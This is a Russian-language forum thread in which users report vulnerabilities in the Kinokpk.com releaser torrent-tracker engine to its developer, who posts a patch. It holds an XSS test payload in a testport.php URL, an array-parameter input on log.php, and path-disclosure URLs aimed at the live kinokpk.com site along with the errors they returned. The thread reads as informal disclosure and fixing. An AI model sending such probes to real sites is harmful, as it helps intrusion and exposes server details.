Kinokpk.com releaser

[vano793]

Вот ты ZonD80 просил найти пусть ищют дальше :D
Я начну с 1-ой :)
testport.php?port=><script>alert(/Hi/)</script>
Такая же и на TBDev

[HAXTA4OK]

читай все страницы и ты найдеш что в TBDev http://forum.antichat.net/threadnav79705-18-10.html я уже кидал про xss эту

но раз другой двиг (уже с убранными дырами тебе +)

[vano793]

читай все страницы и ты найдеш что в TBDev http://forum.antichat.net/threadnav79705-18-10.html я уже кидал про xss эту

Я это знаю но на днях ZonD80 просил дыры выложить
У меня стоит его движок 2.70 но там есть дырка :(

Вот что он писал Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.

Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z

[vano793]

Пишу в эту тему так как она есть на Kinokpk.com releaser
Нашол HAXTA4OK
/log.php?type[]=

[ZonD80]

vano793 ну про тестпорт, это вранье :)

а вот про лог спасибо.

log.php
найти:
$type = htmlspecialchars($_GET["type"]);
заменить на:
$type = htmlspecialchars((string)$_GET["type"]);

[HAXTA4OK]

Раскрытие путей тебе

http://kinokpk.com/requests.php?id[]=28

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216

http://kinokpk.com/requests.php?action=vote&voteid[]=28

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216


http://kinokpk.com/details.php?id[]=246

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216

http://kinokpk.com/invite.php?id[]=987&type=new

Fatal error: Unsupported operand types in /var/*/kinokpk.com/*/requests.php on line 216

[ZonD80]

HAXTA4OK, на сайте-то может быть и так, тут ищутся дырки движка, а не сайта.

Если хочешь поискать на сайте - ищи на http://www.torrentsbook.com